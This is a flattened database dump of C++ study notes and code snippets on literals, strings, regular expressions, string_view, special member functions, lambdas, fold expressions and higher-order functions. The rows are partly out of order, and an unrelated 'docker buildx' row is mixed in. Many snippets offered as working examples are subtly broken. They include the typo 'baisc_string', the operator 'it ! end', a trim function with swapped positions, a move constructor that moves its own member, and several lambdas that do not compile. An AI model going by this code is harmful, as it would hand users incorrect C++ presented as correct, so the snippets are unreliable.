bit_seq\n {\n static constexpr T value{0};\n };\n } text txt 2024-07-28 10:04:11.438817 -3175 753 template \n constexpr numeric operator ""_byte()\n {\n static_assert(sizeof...(bits) <= 32, "binary literals only holds 32 bits"); text txt 2024-07-28 10:04:11.459821 -3176 753 return binary_internals::bit_seq::value;\n }\n }\n} code txt 2024-07-28 10:04:11.479757 -3177 754 #include text txt 2024-07-28 10:04:11.802572 -3178 754 using namespace std::string_literals; text txt 2024-07-28 10:04:11.823749 -3179 754 auto filename { R"(C:\\\\Users\\\\Brian\\\\Documents\\\\)"s };\nauto pattern { R"((\\\\w[\\\\w\\\\d]*)=(\\\\d+))"s }; code txt 2024-07-28 10:04:11.844317 -3180 755 #include text txt 2024-07-28 10:04:12.331802 -3181 755 using namespace std::string_literals; text txt 2024-07-28 10:04:12.352085 -3182 755 auto s1{ R"(text)"s }; // std::string\nauto s2{ LR"(text)"s }; // std::wstring\nauto s3{ u8R"(text)"s }; // std::u8string\nauto s3{ uR"(text)"s }; // std::u16string\nauto s4{ UR"(text)"s }; // std::u32string text txt 2024-07-28 10:04:12.372746 -3183 755 using namespace std::string_view_literals; text txt 2024-07-28 10:04:12.392304 -3184 755 auto s5{ R"text"sv }; // std::string_view code txt 2024-07-28 10:04:12.41173 -3185 756 #include text txt 2024-07-28 10:04:13.291008 -3186 756 template\nusing tstring = std::basic_string, std::allocator>; text txt 2024-07-28 10:04:13.311428 -3187 756 template\ninline tstring to_upper(tstring text)\n{\n std::transform(std::begin(text), std::end(text), std::begin(text), toupper);\n return text;\n} text txt 2024-07-28 10:04:13.331817 -3188 756 template\ninline tstring to_upper(tstring&& text)\n{\n std::transform(std::begin(text), std::end(text), std::begin(text), toupper);\n return text;\n} text txt 2024-07-28 10:04:13.352204 -3189 756 template\ninline tstring to_lower(tstring text)\n{\n std::transform(std::begin(text), std::end(text), std::begin(text), tolower);\n return text;\n} text txt 2024-07-28 10:04:13.373529 -3190 756 template\ninline tstring to_lower(tstring&& text)\n{\n std::transform(std::begin(text), std::end(text), std::begin(text), tolower);\n return text;\n} code txt 2024-07-28 10:04:13.395817 -3191 757 #include text txt 2024-07-28 10:04:13.949469 -3192 757 template\nusing tstring = std::basic_string, std::allocator>; text txt 2024-07-28 10:04:13.97032 -3193 757 template\ninline tstring reverse(tstring text)\n{\n std::reverse(std::begin(text), std::end(text));\n return text;\n} text txt 2024-07-28 10:04:13.991507 -3194 757 template\ninline tstring reverse(tstring&& text)\n{\n std::reverse(std::begin(text), std::end(text));\n return text;\n} code txt 2024-07-28 10:04:14.013124 -3195 758 #include \n#include text txt 2024-07-28 10:04:14.507868 -3196 758 template\nusing tstring = std::basic_string, std::allocator>; text txt 2024-07-28 10:04:14.528919 -3197 758 template\ninline tstring trim(tstring const& text)\n{\n tstring::size first{text.find_first_not_of(' ')};\n tstring::size last{text.find_last_not_of(' ')};\n return text.substr(first, (last - first + 1));\n} code txt 2024-07-28 10:04:14.550955 -3198 759 #include \n#include text txt 2024-07-28 10:04:15.036672 -3199 759 template\nusing tstring = std::basic_string, std::allocator>; text txt 2024-07-28 10:04:15.058923 -3200 759 template\ninline tstring remove(tstring text, CharT const character)\n{\n auto last = std::remove_if(std::begin(text), std::end(text), [character](CharT const c) { return c == character; });\n text.erase(last, std::end(text));\n return text;\n} code txt 2024-07-28 10:04:15.081167 -3201 760 #include \n#include \n#include text txt 2024-07-28 10:04:15.827312 -3202 760 template\nusing tstring = std::basic_string, std::allocator>; text txt 2024-07-28 10:04:15.847027 -3203 760 template\nusing tstringstream = std::basic_stringstream, std::allocator>; text txt 2024-07-28 10:04:15.867566 -3204 760 template\ninline std::vector> split(tstring text, CharT const delimiter)\n{\n auto sstream = tstringstream{text};\n auto tokens = std::vector>{};\n auto token = tstring{}; text txt 2024-07-28 10:04:15.890275 -3205 760 while (std::getline(sstream, token, delimiter))\n {\n if (!token.empty())\n tokens.push_back(token);\n } text txt 2024-07-28 10:04:15.912134 -3206 760 return tokens;\n} code txt 2024-07-28 10:04:15.933329 -3207 761 #include \n#include text txt 2024-07-28 10:04:16.351691 -3208 761 using namespace std::string_literals; text txt 2024-07-28 10:04:16.372187 -3209 761 std::string pattern{R"(...)"}; text txt 2024-07-28 10:04:16.392526 -3210 761 std::regex srx{pattern};\nstd::regex lrx{R"(...)"s}; code txt 2024-07-28 10:04:16.413765 -3211 762 std::regex irx{R"(...)"s, std::regex_constants::icase}; code txt 2024-07-28 10:04:16.668342 -3212 763 #include \n#include text txt 2024-07-28 10:04:17.408864 -3213 763 template\nusing tstring = std::baisc_string, std::allocator>; text txt 2024-07-28 10:04:17.430655 -3214 763 template\nusing tregex = std::basic_regex; text txt 2024-07-28 10:04:17.451213 -3215 763 template\nbool matches(tstring const& text, tstring rx{pattern, std::regex_constants::icase};\n return std::regex_match(text, rx);\n} text txt 2024-07-28 10:04:17.471411 -3216 763 int main()\n{\n std::string text{R"(https://github.com - https://github.com/briansalehi/references)"};\n std::string pattern{R"((\\\\w+)://([\\\\w.]+)/([\\\\w\\\\d._-]+)/([\\\\w\\\\d._-]+)[.git]?)"}; text txt 2024-07-28 10:04:17.492762 -3217 763 if(matches(text, pattern))\n std::cout << text << '\\\\n';\n else\n std::cerr << "invalid repository link!\\\\n";\n} code txt 2024-07-28 10:04:17.513233 -3218 764 The `std::regex_match()` method has overloads that take a reference to a `std::match_results` object to store the result of the match. text txt 2024-07-28 10:04:18.396868 -3219 764 If there is no match, then `std::match_results` is empty and its size is 0. Otherwise, its size is 1, plus the number of matched subexpressions. text txt 2024-07-28 10:04:18.418189 -3220 764 The class template `std::sub_match` represents a sequence of characters that matches a capture group; this class is actually derived from std::pair, and its first and second members represent iterators to the first and the one- past-end characters in the match sequence. If there is no match sequence, the two iterators are equal: text txt 2024-07-28 10:04:18.439055 -3221 764 * `typedef sub_match csub_match;`\n* `typedef sub_match wcsub_match;`\n* `typedef sub_match ssub_match;`\n* `typedef sub_match wssub_match;` text txt 2024-07-28 10:04:18.459542 -3222 764 The class template `std::match_results` is a collection of matches; the first element is always a full match in the target, while the other elements are matches of subexpressions: text txt 2024-07-28 10:04:18.480756 -3223 764 * `typedef match_results cmatch;`\n* `typedef match_results wcmatch;`\n* `typedef match_results smatch;`\n* `typedef match_results wsmatch;` text txt 2024-07-28 10:04:18.502105 -3224 764 #include \n#include text txt 2024-07-28 10:04:18.523812 -3225 764 int main()\n{\n std::string text{R"(https://github.com - https://github.com/briansalehi/references)"};\n std::string pattern{R"((\\\\w+)://([\\\\w.]+)/([\\\\w\\\\d._-]+)/([\\\\w\\\\d._-]+)[.git]?)"}; text txt 2024-07-28 10:04:18.545575 -3226 764 std::regex rx{pattern, std::regex_constants::icase};\n std::smatch matches;\n bool matched = std::regex_match(text, matches, rx); text txt 2024-07-28 10:04:18.565648 -3227 764 if (auto [match, protocol, domain, username, project] = matches; matched)\n std::cout << project << " owned by " << username\n << " hosted on " << domain\n << " using " << protocol << " protocol\\\\n"; code txt 2024-07-28 10:04:18.585857 -3228 765 The C++ standard library supports six regular expression engines: text txt 2024-07-28 10:04:19.050398 -3229 765 * ECMAScript (default)\n* basic POSIX\n* extended POSIX\n* awk\n* grep\n* egrep (grep with the option -E) text txt 2024-07-28 10:04:19.073291 -3230 765 #include text txt 2024-07-28 10:04:19.094529 -3231 765 std::regex pattern{R"(...)", std::regex_constants::egrep}; code txt 2024-07-28 10:04:19.113943 -3232 766 #include \n#include text txt 2024-07-28 10:04:19.86327 -3233 766 std::string text {\nR"(\n# server address\naddress = 123.40.94.215\nport=22 text txt 2024-07-28 10:04:19.88503 -3234 766 # time to live\nttl = 5\n)"}; text txt 2024-07-28 10:04:19.906288 -3235 766 int main()\n{\n std::string pattern{R"(^(?!#)(\\\\w+)\\\\s*=\\\\s*([\\\\w\\\\d]+[\\\\w\\\\d._,:-]*)$)"};\n std::regex rx{pattern, std::regex_constants::icase};\n std::smatch match{}; text txt 2024-07-28 10:04:19.927348 -3236 766 if (std::string variable, value; std::regex_search(text, match, rx))\n {\n variable = match[1];\n value = match[2];\n }\n} code txt 2024-07-28 10:04:19.948681 -3237 767 The iterators available in the regular expressions standard library are as follows: text txt 2024-07-28 10:04:21.174431 -3238 767 * `std::regex_interator`: A constant forward iterator used to iterate through the occurrences of a pattern in a string. It has a pointer to an `std::basic_regex` that must live until the iterator is destroyed. Upon creation and when incremented, the iterator calls `std::regex_search()` and stores a copy of the `std::match_results` object returned by the algorithm.\n* `std::regex_token_iterator`: A constant forward iterator used to iterate through the submatches of every match of a regular expression in a string. Internally, it uses a `std::regex_iterator` to step through the submatches. Since it stores a pointer to an `std::basic_regex` instance, the regular expression object must live until the iterator is destroyed. text txt 2024-07-28 10:04:21.198468 -3239 767 The token iterators can return the unmatched parts of the string if the index of the subexpressions is -1, in which case it returns an `std::match_results` object that corresponds to the sequence of characters between the last match and the end of the sequence: text txt 2024-07-28 10:04:21.219655 -3240 767 #include \n#include text txt 2024-07-28 10:04:21.240654 -3241 767 std::string text {\nR"(\n# server address\naddress = 123.40.94.215\nport=22 text txt 2024-07-28 10:04:21.26183 -3242 767 # time to live\nttl = 5\n)"}; text txt 2024-07-28 10:04:21.282035 -3243 767 int main()\n{\n std::string pattern{R"(^(?!#)(\\\\w+)\\\\s*=\\\\s*([\\\\w\\\\d]+[\\\\w\\\\d._,:-]*)$)"};\n std::regex rx{pattern, std::regex_constants::icase};\n std::sregex_iterator end{}; text txt 2024-07-28 10:04:21.301939 -3244 767 // iterate through regex matches\n for (auto it = std::sregex_iterator{std::begin(text), std::end(text), rx};\n it ! end; ++it)\n {\n std::string variable = (*it)[1];\n std::string value = (*it)[2];\n } text txt 2024-07-28 10:04:21.323358 -3245 767 // iterate through unmatched tokens\n for (auto it = std::sregex_iterator{std::begin(text), std::end(text), rx, -1};\n it ! end; ++it)\n {\n std::string variable = (*it)[1];\n std::string value = (*it)[2];\n } text txt 2024-07-28 10:04:21.3442 -3246 767 // iterate through tokens of regex matches\n std::sregex_token_iterator tend{};\n for (auto it = std::sregex_token_iterator{std::begin(text), std::end(text), rx};\n it ! tend; ++it)\n {\n std::string token = *it;\n }\n} code txt 2024-07-28 10:04:21.366061 -3247 768 #include \n#include text txt 2024-07-28 10:04:21.777536 -3248 768 int main()\n{\n std::string text{"this is a example with a error"};\n std::regex rx{R"(\\\\ba ((a|e|i|o|u)\\\\w+))"};\n std::regex_replace(text, rx, "an $1");\n} code txt 2024-07-28 10:04:21.79812 -3249 769 Apart from the identifiers of the subexpressions (`$1`, `$2`, and so on), there are other identifiers for the entire match (`$&`), the part of the string before the first match ($\\\\`), and the part of the string after the last match (`$'`). text txt 2024-07-28 10:04:22.258594 -3250 769 #include \n#include text txt 2024-07-28 10:04:22.279886 -3251 769 int main()\n{\n std::string text{"current date: 3 10 2022"};\n std::regex pattern{R"((\\\\d{1,2})\\\\s*(\\\\d{1,2})\\\\s*(\\\\d{2,4}))"};\n std::string reformatted = std::regex_replace(text, pattern, R"([$`] $2 $1 $3 [$'])");\n} code txt 2024-07-28 10:04:22.30083 -3252 770 Passing `std::basic_string_view` to functions and returning `std::basic_string_view` still creates temporaries of this type, but these are small-sized objects on the stack (a pointer and a size could be 16 bytes for 64-bit platforms); therefore, they should incur fewer performance costs than allocating heap space and copying data. text txt 2024-07-28 10:04:22.987776 -3253 770 #include text txt 2024-07-28 10:04:23.008289 -3254 770 std::string_view trim_view(std::string_view str)\n{\n auto const pos1{ str.find_last_not_of(" ") };\n auto const pos2{ str.find_first_not_of(" ") };\n str.remove_suffix(str.length() - pos2 - 1);\n str.remove_prefix(pos1);\n return str;\n} text txt 2024-07-28 10:04:23.029896 -3970 982 docker buildx code txt 2024-07-28 10:06:18.15887 -3255 770 auto sv1{ trim_view("sample") };\nauto sv2{ trim_view(" sample") };\nauto sv3{ trim_view("sample ") };\nauto sv4{ trim_view(" sample ") }; text txt 2024-07-28 10:04:23.052827 -3256 770 std::string s1{ sv1 };\nstd::string s2{ sv2 };\nstd::string s3{ sv3 };\nstd::string s4{ sv4 }; code txt 2024-07-28 10:04:23.073865 -3257 771 #include text txt 2024-07-28 10:04:23.37657 -3258 771 std::string_view message{" something to show "}; text txt 2024-07-28 10:04:23.396176 -3259 771 std::size_t suffix{ str.find_last_not_of(" ") };\nstd::size_t prefix{ str.find_first_not_of(" ") }; code txt 2024-07-28 10:04:23.416267 -3260 772 #include text txt 2024-07-28 10:04:23.787355 -3261 772 std::string_view message{" something to show "}; text txt 2024-07-28 10:04:23.807876 -3262 772 std::size_t suffix{ str.find_last_not_of(" ") };\nstd::size_t prefix{ str.find_first_not_of(" ") }; text txt 2024-07-28 10:04:23.828849 -3263 772 str.remove_suffix(str.length() - pos2 - 1);\nstr.remove_prefix(pos1); code txt 2024-07-28 10:04:23.850465 -3264 773 Converting from an `std::basic_string_view` to an `std::basic_string` is not possible. You must explicitly construct an `std::basic_string` object from a `std::basic_string_view`. text txt 2024-07-28 10:04:24.166356 -3265 773 std::string_view sv{ "demo" };\nstd::string s{ sv }; code txt 2024-07-28 10:04:24.187377 -3266 774 Only class member functions can be `defaulted`. text txt 2024-07-28 10:04:24.557852 -3267 774 struct foo\n{\n foo() = default;\n}; code txt 2024-07-28 10:04:24.577236 -3268 775 Any function, including non-member functions can be deleted. text txt 2024-07-28 10:04:24.960922 -3269 775 struct foo\n{\n foo(foo const&) = delete;\n}; text txt 2024-07-28 10:04:24.98173 -3270 775 void func(int) = delete; code txt 2024-07-28 10:04:25.001615 -3271 776 * **user defined constructor** inhibits **default constructor**: If a user-defined constructor exists, the default constructor is not generated by default.\n* **virtual destructor** inhibits **default constructor**: If a user-defined virtual destructor exists, the default constructor is not generated by default.\n* **user defined move constructor/assignment** inhibits **default copy constructor/assignment**: If a user-defined move constructor or move assignment operator exists, then the copy constructor and copy assignment operator are not generated by default.\n* **user defined copy constructor/assignment, move constructor/assignment, destructor** inhibits **default move constructor/assignment**: If a user-defined copy constructor, move constructor, copy assignment operator, move assignment operator, or destructor exists, then the move constructor and move assignment operator are not generated by default.\n* If a user-defined copy constructor or destructor exists, then the copy assignment operator is generated by default. (deprecated)\n* If a user-defined copy assignment operator or destructor exists, then the copy constructor is generated by default. (deprecated) text txt 2024-07-28 10:04:25.302873 -3272 776 The rule of thumb, also known as The Rule of Five, for class special member functions is that if you explicitly define any copy constructor, move constructor, copy assignment operator, move assignment operator, or destructor, then you must either explicitly define or default all of them. text txt 2024-07-28 10:04:25.324329 -3273 777 Declare the copy constructor and the copy assignment operator as `deleted`. text txt 2024-07-28 10:04:25.720582 -3274 777 class non_copyable\n{\npublic:\n non_copyable() = default;\n non_copyable(non_copyable const&) = delete;\n non_copyable& operator =(non_copyable const&) = delete;\n}; code txt 2024-07-28 10:04:25.742351 -3275 778 Declare the copy operations as `deleted` and explicitly implement the move operations. text txt 2024-07-28 10:04:26.394532 -3276 778 template\nclass movable\n{\nprivate:\n ResourceT resource; text txt 2024-07-28 10:04:26.415812 -3277 778 public:\n movable(ResourceT const& resource): resource{resource} {} text txt 2024-07-28 10:04:26.436325 -3278 778 ~movable() { resource.free(); } text txt 2024-07-28 10:04:26.457428 -3279 778 movable(movable const&) = delete;\n movable& operator =(movable const&) = delete; text txt 2024-07-28 10:04:26.47862 -3280 778 movable(movable&& other): resource{std::move(resource)} {}\n movable& operator =(movable&& other) {\n if (this != std::addressof(other))\n resource = std::move(resource);\n return *this;\n }\n}; code txt 2024-07-28 10:04:26.499523 -3281 779 Functions can be declared =default outside the body of a class if and only if they are inlined. text txt 2024-07-28 10:04:26.94791 -3282 779 class base\n{\npublic:\n base() = default; text txt 2024-07-28 10:04:26.967975 -3283 779 inline base& operator =(base const&);\n}; text txt 2024-07-28 10:04:26.987973 -3284 779 inline base& base::operator =(base const&) = default; code txt 2024-07-28 10:04:27.00801 -3285 780 #include \n#include text txt 2024-07-28 10:04:27.463938 -3286 780 int main()\n{\n std::vector numbers{12,3,84,93,7,40,35,5,74,8,22};\n int minimum = 0;\n int maximum = 9; text txt 2024-07-28 10:04:27.484529 -3287 780 int single_digits = std::count_if(\n std::begin(numbers), std::end(numbers), [minimum, maximum](int const n)\n { return minimum <= n && n <= maximum; });\n} code txt 2024-07-28 10:04:27.507094 -3288 781 #include \n#include text txt 2024-07-28 10:04:27.889497 -3289 781 int main()\n{\n std::vector numbers{-1,2,-4,8,3,-7,5};\n auto is_positive = [](int const n) { return n > 0; };\n int positives = std::count_if(std::begin(numbers), std::end(numbers), is_positive);\n} code txt 2024-07-28 10:04:27.911178 -3290 782 Though generic lambdas can be defined anonymously in the place where they are called, it does not really make sense because the very purpose of a generic lambda is to be reused. text txt 2024-07-28 10:04:28.424284 -3291 782 #include \n#include \n#include text txt 2024-07-28 10:04:28.446167 -3292 782 int main()\n{\n auto lsum = [](auto const n, ) { return n > 0; }; text txt 2024-07-28 10:04:28.467404 -3293 782 std::vector numbers{-1,2,-4,8,3,-7,5};\n std::string words{"stl", " is ", " cool"}; text txt 2024-07-28 10:04:28.488154 -3294 782 int sum = std::accumulate(std::begin(numbers), std::end(numbers), 0, lsum);\n std::string sentence = std::accumulate(std::begin(words), std::end(words), 0, lsum);\n} code txt 2024-07-28 10:04:28.508932 -3295 783 It must be well understood that the lambda expression is actually a class. In order to call it, the compiler needs to instantiate an object of the class. The object instantiated from a lambda expression is called a lambda closure. text txt 2024-07-28 10:04:29.025532 -3331 792 template // [1]\nconstexpr T add(T value) { return value; } text txt 2024-07-28 10:04:34.17646 -3332 792 template // [2]\nconstexpr auto add(T head, Ts ...rest) // [3]\n{\n std::cout << __PRETTY_FUNCTION__ << '\\\\n';\n return head + add(rest...); // [4]\n} text txt 2024-07-28 10:04:34.197305 -3333 792 int main()\n{\n int result = add(0,1,2,3,4,5,6,7,8,9);\n} code txt 2024-07-28 10:04:34.218573 -3334 793 template\nauto add(Ts ...args) { return (... + args); } text txt 2024-07-28 10:04:34.666262 -3335 793 template\nauto add(Ts ...args) { return ( 1 + ... + args); } text txt 2024-07-28 10:04:34.687745 -3296 783 * `[](){}`: does not capture.\n* `[&](){}`: capture everything by reference.\n* `[=](){}`: capture everything by copy, except `this`. (c++20)\n* `[&x](){}`: capture only `x` by reference.\n* `[x](){}`: capture only `x` by copy.\n* `[&x...](){}`: capture pack extension `x` by reference.\n* `[x...](){}`: capture pack extension `x` by copy.\n* `[&, x](){}`: capture everything by reference except for `x` that is captured by copy.\n* `[=, &x](){}`: capture everything by copy except for `x` that is captured by reference.\n* `[&, this](){}`: capture everything by reference except for pointer `this` that is always captured by copy.\n* `[x, x](){}`: **error**, `x` is captured twice.\n* `[&, &x](){}`: **error**, everything is captured by reference, `x` cannot be captured again.\n* `[=, =x](){}`: everything is captured by copy, `x` cannot be captured again.\n* `[&this](){}`: **error**, the pointer `this` is always captured by copy.\n* `[&, =](){}`: **error**, cannot capture everything both by copy and by reference.\n* `[x=expr](){}`: `x` is a data member of the lambda's closure initialized from the expression `expr` suited for move-semantics. (c++14)\n* `[&x=expr](){}`: `x` is a reference data member of the lambda's closure initialized from the expression `expr` suited for move-semantics. (c++14) text txt 2024-07-28 10:04:29.049012 -3297 784 * `capture-list` can be empty.\n* `parameters` can be empty.\n* `ret` value of the function can be obmitted.\n* `body` can be empty.\n* `mutable` specifier is optional and removes the `const`ness of function call operator in lambda closure and makes the lambda stateful.\n* `constexpr` specifier is optional and tells the compiler to generate a `constexpr` call operator.\n* `noexcept` specifier is optional and tells the compiler to generate a `nothrow` call operator.\n* `attributes` are optional. text txt 2024-07-28 10:04:29.46829 -3298 784 [capture-list](params) mutable constexpr exception attr -> ret { body; } code txt 2024-07-28 10:04:29.488215 -3299 785 #include text txt 2024-07-28 10:04:29.758236 -3300 785 std::make_unique ptr(42);\nauto lambda = [p = std::move(ptr)]() { return ++*p; }; code txt 2024-07-28 10:04:29.779543 -3301 786 The correct form of capturing `this` when the object is a temporary is `[*this]` so that object is copied by value. text txt 2024-07-28 10:04:30.362559 -3302 786 #include text txt 2024-07-28 10:04:30.38298 -3303 786 struct base\n{\n int id; text txt 2024-07-28 10:04:30.403746 -3304 786 void show()\n {\n return [*this] { std::cout << id << '\\\\n'; };\n }\n}; text txt 2024-07-28 10:04:30.4253 -3305 786 int main()\n{\n // base is destroyed at the time of show() execution\n auto lambda = base{42}.show();\n} code txt 2024-07-28 10:04:30.446432 -3306 787 #include text txt 2024-07-28 10:04:30.833674 -3307 787 int main()\n{\n std::vector numbers{0,1,2,3,4,5,6,7,8,9};\n auto vsize = [](std::vector const& v) { return std::size(v); };\n vsize(v); // 10\n vsize(42); // error\n} code txt 2024-07-28 10:04:30.854986 -3308 788 int main()\n{\n auto generic_sum = [](T&& x, T&& y) nothrow { return x + y; } text txt 2024-07-28 10:04:31.195086 -3309 788 int result = generic_sum(40, 2);\n} code txt 2024-07-28 10:04:31.215231 -3310 789 #include text txt 2024-07-28 10:04:32.0174 -3311 789 struct base\n{\n static void show() { std::cout << "base\\\\n"; }\n}; text txt 2024-07-28 10:04:32.03798 -3312 789 // pre-c++20\nauto tshow = [](auto x)\n{\n using T = std::decay_t; text txt 2024-07-28 10:04:32.059088 -3313 789 T other; // create instance\n T::show(); // call static method\n}; text txt 2024-07-28 10:04:32.080827 -3314 789 // post-c++20\nauto generic_show = [](T const& x)\n{\n T other; // create instance\n T::show(); // call static method\n}; text txt 2024-07-28 10:04:32.101543 -3315 789 int main()\n{\n base object; text txt 2024-07-28 10:04:32.123443 -3316 789 tshow(object);\n generic_show(object);\n} code txt 2024-07-28 10:04:32.143205 -3317 790 template\nvoid do_something(T&& ...args) { /* ... */ } text txt 2024-07-28 10:04:32.584228 -3318 790 auto forward_something = [](auto&& ...args)\n{\n return do_something(std::forward(args)...);\n}; text txt 2024-07-28 10:04:32.605251 -3319 790 auto generic_forward = [](T&& ...args)\n{\n return do_something(std::forward(args)...);\n}; code txt 2024-07-28 10:04:32.626467 -3320 791 In order to write a recursive lambda function, you must do the following: text txt 2024-07-28 10:04:33.253916 -3321 791 * Define the lambda in a function scope\n* Assign the lambda to an `std::function` wrapper\n* Capture the `std::function` object by reference in the lambda in order to call it recursively text txt 2024-07-28 10:04:33.275517 -3322 791 The lambda must have a name; an unnamed lambda cannot be captured so that it can be called again.\nA lambda can only capture variables from a function scope; it cannot capture any variable that has a static storage duration. Objects defined in a namespace scope or with the static or external specifiers have static storage duration. If the lambda was defined in a namespace scope, its closure would have static storage duration and therefore the lambda would not capture it.\nThe type of the lambda closure cannot remain unspecified; that is, it cannot be declared with the auto specifier. It is not possible for a variable declared with the auto type specifier to appear in its own initializer.\nThe lambda closure must be captured by reference. If we capture by copy (or value), then a copy of the function wrapper is made, but the wrapper is uninitialized when the capturing is done. We end up with an object that we are not able to call. Even though the compiler will not complain about capturing by value, when the closure is invoked, an `std::bad_function_call` is thrown. text txt 2024-07-28 10:04:33.299438 -3323 791 #include text txt 2024-07-28 10:04:33.319263 -3324 791 void sample()\n{\n std::function lfib = [&lfib](int const n)\n {\n return n <= 2 ? 1 : lfib(n - 1) + lfib(n - 2);\n }; text txt 2024-07-28 10:04:33.340135 -3325 791 auto f10 = lfib(10);\n} code txt 2024-07-28 10:04:33.360106 -3326 792 In order to write variadic function templates, you must perform the following steps: text txt 2024-07-28 10:04:34.072169 -3327 792 1. Define an overload with a fixed number of arguments to end compile-time recursion if the semantics of the variadic function template require it.\n2. Define a template parameter pack that is a template parameter that can hold any number of arguments, including zero; these arguments can be either types, non-types, or templates.\n3. Define a function parameter pack to hold any number of function arguments, including zero; the size of the template parameter pack and the corresponding function parameter pack is the same. This size can be determined with the sizeof... operator.\n4. Expand the parameter pack in order to replace it with the actual arguments being supplied. text txt 2024-07-28 10:04:34.095273 -3328 792 With GCC and Clang, you can use the `__PRETTY_FUNCTION__` macro to print the name and the signature of the function. text txt 2024-07-28 10:04:34.114399 -3329 792 Make return type `auto` to ensure all of the function template initializations have the same return type, for example, in case of having `std::string` and `char` types in parameter pack. text txt 2024-07-28 10:04:34.135056 -3330 792 #include text txt 2024-07-28 10:04:34.154447 -3488 833 import std; text txt 2024-07-28 10:04:59.17657 -3336 793 template\nauto add(Ts ...args) { return (args + ...); } text txt 2024-07-28 10:04:34.708751 -3337 793 template\nauto add(Ts ...args) { return (args + ... + 1); } code txt 2024-07-28 10:04:34.72864 -3338 794 Fold expressions work with all overloads for the supported **binary operators**, but do not work with **arbitrary binary operators**. It is possible to implement a workaround for that by providing a wrapper type that will hold a value and an overloaded operator for that wrapper type: text txt 2024-07-28 10:04:35.837425 -3339 794 template\nstruct less_pack\n{\n T const& value; text txt 2024-07-28 10:04:35.858064 -3340 794 friend constexpr auto operator <(less_pack const& lhs, less_pack const& rhs)\n {\n return less_pack{lhs.value < rhs.value ? lhs.value : rhs.value};\n }\n}; text txt 2024-07-28 10:04:35.879344 -3341 794 template\nconstexpr auto min_incorrect(Ts&& ...args)\n{\n return (args < ...);\n} text txt 2024-07-28 10:04:35.901087 -3342 794 template<>\ninline constexpr bool min_incorrect_compiler_generated(int, int, int>(\n int&& __args0,\n int&& __args1,\n int&& __args2)\n{\n return __args0 < (static_cast(__args1 < __args2));\n} text txt 2024-07-28 10:04:35.921922 -3343 794 template\nconstexpr auto min_correct(Ts&& ...args)\n{\n return (less_pack{args} < ...).value;\n} text txt 2024-07-28 10:04:35.942842 -3344 794 template <>\ninline constexpr int min_correct_compiler_generated(\n int&& __args0,\n int&& __args1,\n int&& __args2)\n{\n return operator <(less_pack{__args0},\n operator <(less_pack{__args1},\n less_pack{__args2})).value;\n} code txt 2024-07-28 10:04:35.96303 -3345 795 A higher-order function is a function that takes one or more other functions as arguments and applies them to a range (a list, vector, map, tree, and so on), thus producing either a new range or a value. text txt 2024-07-28 10:04:37.021637 -3346 795 To implement the map function, you should: text txt 2024-07-28 10:04:37.043771 -3347 795 * Use `std::transform` on containers that support iterating and assignment to the elements, such as `std::vector` or `std::list`.\n* Use other means such as explicit iteration and insertion for containers that do not support assignment to the elements, such as `std::map`. text txt 2024-07-28 10:04:37.064896 -3348 795 #include \n#include \n#include \n#include text txt 2024-07-28 10:04:37.086931 -3349 795 template\nR mapping(F&& callable, R const& range)\n{\n std::transform(std::begin(range), std::end(range), std::begin(range), std::forward(callable));\n return range;\n} text txt 2024-07-28 10:04:37.108586 -3350 795 template\nstd::map mapping(F&& callable, std::map const& range)\n{\n std::map mapped; text txt 2024-07-28 10:04:37.129748 -3351 795 for (auto const kvpair: range)\n mapped.insert(callable(kvpair)); text txt 2024-07-28 10:04:37.150416 -3352 795 return mapped;\n} text txt 2024-07-28 10:04:37.171364 -3353 795 template \nstd::queue mapping(F&& callable, std::queue const& range)\n{\n std::queue mapped; text txt 2024-07-28 10:04:37.19253 -3354 795 while (!range.empty())\n {\n mapped.push(callable(range.front()));\n range.pop();\n } text txt 2024-07-28 10:04:37.214161 -3355 795 return mapped;\n} code txt 2024-07-28 10:04:37.235179 -3356 796 #include \n#include \n#include \n#include text txt 2024-07-28 10:04:37.823123 -3357 796 template\nR mapping(F&& callable, R const& range)\n{\n std::transform(std::begin(range), std::end(range), std::begin(range), std::forward(callable));\n return range;\n} text txt 2024-07-28 10:04:37.843191 -3358 796 int main()\n{\n std::vector numbers{-3, 8, -5, -9, 2, -1, 0, -7};\n std::vector absolutes = mapping(std::abs<>(), numbers);\n} code txt 2024-07-28 10:04:37.863858 -3359 797 Since the order of the processing can be important, there are usually two versions of this function. One is foldleft, which processes elements from left to right, while the other is foldright, which combines the elements from right to left. text txt 2024-07-28 10:04:38.579548 -3360 797 * Use `std::accumulate()` on containers that support iterating\n* Use other means to explicitly process containers that do not support iterating, such as `std::queue` text txt 2024-07-28 10:04:38.599553 -3361 797 #include \n#include text txt 2024-07-28 10:04:38.620211 -3362 797 template\nconstexpr T folding(F&& callable, R&& range, T init)\n{\n return std::accumulate(std::begin(range), std::end(range), std::move(init), std::forward(callable));\n} text txt 2024-07-28 10:04:38.640563 -3363 797 template\nconstexpr T folding(F&& callable, std::queue range, T init)\n{\n while (!range.empty())\n {\n init = callable(init, q.front());\n q.pop();\n } text txt 2024-07-28 10:04:38.661171 -3364 797 return init;\n} code txt 2024-07-28 10:04:38.681931 -3365 798 #include \n#include text txt 2024-07-28 10:04:39.172821 -3366 798 template\nconstexpr T folding(F&& callable, R&& range, T init)\n{\n return std::accumulate(std::begin(range), std::end(range), std::move(init), std::forward(callable));\n} text txt 2024-07-28 10:04:39.194135 -3367 798 int main()\n{\n std::vector numbers{0,1,2,3,4,5,6,7,8,9};\n int sum = folding(std::plus<>(), numbers, 0);\n} code txt 2024-07-28 10:04:39.214807 -3368 799 #include \n#include \n#include text txt 2024-07-28 10:04:39.807247 -3369 799 template\nconstexpr T folding(F&& callable, R&& range, T init)\n{\n return std::accumulate(std::begin(range), std::end(range), std::move(init), std::forward(callable));\n} text txt 2024-07-28 10:04:39.828612 -3370 799 int main()\n{\n std::map occurances{{"one", 1}, {"two", 2}, {"three", 3}};\n auto counter = [](int const s, std::pair const kvpair) { return s + kvpair.second; };\n int sum = folding(counter, occurances, 0);\n} code txt 2024-07-28 10:04:39.849581 -3371 800 #include text txt 2024-07-28 10:04:40.739583 -3372 800 int add(int const a, int const b) { return a + b; } text txt 2024-07-28 10:04:40.760217 -3373 800 struct base\n{\n int x = 0; text txt 2024-07-28 10:04:40.781741 -3374 800 void add(int const n) { x += n; }\n}; text txt 2024-07-28 10:04:40.803236 -3375 800 int main()\n{\n // free function\n int r1 = std::invoke(add, 1, 2); text txt 2024-07-28 10:04:40.825324 -3376 800 // free function through pointer to function\n int r2 = std::invoke(&add, 1, 2); text txt 2024-07-28 10:04:40.846437 -3377 800 // member functions through pointer to member function\n base object;\n std::invoke(&base::add, object, 3); text txt 